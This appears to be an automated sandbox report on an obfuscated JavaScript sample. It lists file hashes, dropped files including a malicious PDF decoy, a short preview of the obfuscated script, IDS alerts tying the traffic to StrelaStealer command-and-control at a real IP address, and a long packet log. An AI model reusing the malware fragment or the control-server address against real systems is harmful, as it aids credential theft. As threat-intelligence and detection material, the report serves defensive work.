SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17803), with CRLF line terminators
Entropy (8bit):	4.893656654304337
TrID:
File name:	2279239302728123306.js
File size:	21'335 bytes
MD5:	ecfb6f0c27a2b328c9c4e2f5d14d0495
SHA1:	a0e6ddc29c07884d75f1feb1eb54828e3bc7b509
SHA256:	0e8f1f13e8ec9b0b7ebd75712c33fcc16ac728020a5fb103adc5c2e31498420d
SHA512:	8cb57c99f7c1a38909f54ea1b023c109612f5299dee0636b89b4e37d8de404b1a4986b407feca5fa8ed2756ed87b87cc382d92876e2129fd5ebfa973fde53ce8
SSDEEP:	192:RGcfQf6oSPQBcyxKBrr/fzxk7FeYOrEa3St9f/gC+NLAy0TiE5HFOk/ReTRWfbqI:BfzLyu9kwYOrD29wCy0T55Ht4RWf+I
TLSH:	2FA243E2DDC5D602D5E841B097EA08F37ABC01CD8EFC18DD58F0624989496A9E7F25BC
File Content Preview:	function exqhtjhz(){qxudyulvg=[1031,3079,5127,4103,2055,3072];var poeyie=this[nkrwesu+rtwbo+hjajhvf+axsyhsg+rbbwmewps+xogup+fafjtoz+ponnth](this[qqxey+drmsgavbt+liqhgynm+hjajhvf+rjctimdc+nkrwesu+ponnth][mjpotcs+hjajhvf+rbbwmewps+rtwbo+ponnth+rbbwmewps+fds

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:24:14.685699+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49720	193.143.1.205	80	TCP
2025-01-11T02:24:14.685699+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49720	193.143.1.205	80	TCP
2025-01-11T02:24:17.958151+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49736	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:24:13.879194975 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:13.884057999 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:13.884138107 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:13.888295889 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:13.893055916 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685590029 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685606956 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685614109 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685672045 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685686111 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685697079 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685698986 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.685739040 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.685759068 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685761929 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.685774088 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685786009 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685798883 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.685818911 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.685997009 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.736666918 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.736702919 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.736715078 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.736829042 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.809075117 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809098959 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809108019 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809269905 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.809349060 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809360981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809370995 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809396982 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.809448004 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.809760094 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809772015 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809782028 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.809813023 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.810079098 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810122967 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.810194016 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810221910 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810255051 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810266018 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810305119 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.810872078 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810911894 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810925007 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.810962915 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.811009884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.811022997 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.811052084 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.811711073 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.811777115 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.825177908 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.825196028 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.825253010 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.860315084 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.860407114 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.860501051 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.869771957 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.869785070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.869795084 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.869853020 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.897641897 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.897655964 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.897718906 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.943634987 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943651915 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943670988 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943679094 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943733931 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943752050 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.943759918 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.943766117 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944017887 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944017887 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944031000 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944052935 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944106102 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944156885 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944201946 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944209099 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944216967 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944261074 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944364071 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944375992 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944394112 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944425106 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944854975 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944900990 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944912910 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.944940090 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944963932 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.944998026 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945014954 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945025921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945051908 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.945636034 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945647955 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945662022 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945683956 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945689917 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.945696115 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945705891 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945713997 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.945718050 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.945738077 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.945761919 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.946516991 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946533918 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946543932 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946553946 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946564913 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.946599960 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.946641922 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946654081 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946664095 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.946690083 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.947381973 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947393894 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947405100 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947448015 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.947454929 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947467089 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947477102 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947485924 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.947505951 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.947520018 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.958318949 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.984252930 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.984287024 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.984298944 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.984328032 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.984330893 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.984364033 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.986280918 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.986294031 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.986304045 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.986335039 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.986371040 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:14.986391068 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.986402988 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:14.986442089 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.032140970 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.032146931 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.032193899 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067358017 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067415953 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067430019 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067450047 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067461967 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067470074 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067471981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067488909 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067498922 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067512035 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067523003 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067539930 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067564964 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067641973 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067657948 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067667961 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067739964 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067768097 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067836046 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067848921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067861080 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067887068 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.067908049 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.067946911 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068059921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068099022 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068110943 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068152905 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068161964 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068222046 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068233967 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068243980 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068244934 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068270922 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068316936 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068386078 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068720102 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068741083 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068757057 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068803072 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068841934 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068855047 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068866014 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068877935 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068895102 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.068907976 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.068947077 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.069267988 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069279909 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069292068 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069319010 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.069401026 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069412947 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069423914 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069466114 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.069483042 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.069521904 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069535017 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069545984 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069555998 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069566965 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.069571972 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.069617033 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070013046 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070024014 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070034981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070061922 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070094109 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070178986 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070192099 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070203066 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070214987 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070233107 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070245981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070259094 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070271015 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070271969 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070291042 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070302010 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070305109 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070348024 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070363045 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.070404053 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.070986986 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071002007 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071013927 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071042061 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.071130991 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071144104 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071156025 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071170092 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071180105 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.071192026 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.071232080 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071244955 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071254015 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071259022 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.071342945 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.072863102 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.072879076 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.072890997 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.072918892 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.072946072 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.072962046 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.072974920 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.072993994 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.073020935 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.073041916 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.073075056 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.073082924 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.074758053 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074806929 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.074820995 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074831963 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074843884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074856043 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074873924 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.074887037 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.074966908 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.074978113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.075006962 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.075012922 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.075012922 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.075052023 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.075927019 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.107952118 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.107966900 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.107969999 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.108052969 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.110130072 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.120637894 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.120655060 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.120666027 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.120692968 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.120722055 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155728102 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155765057 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155775070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155801058 CET	80	49720	193.143.1.205	192.168.2.5
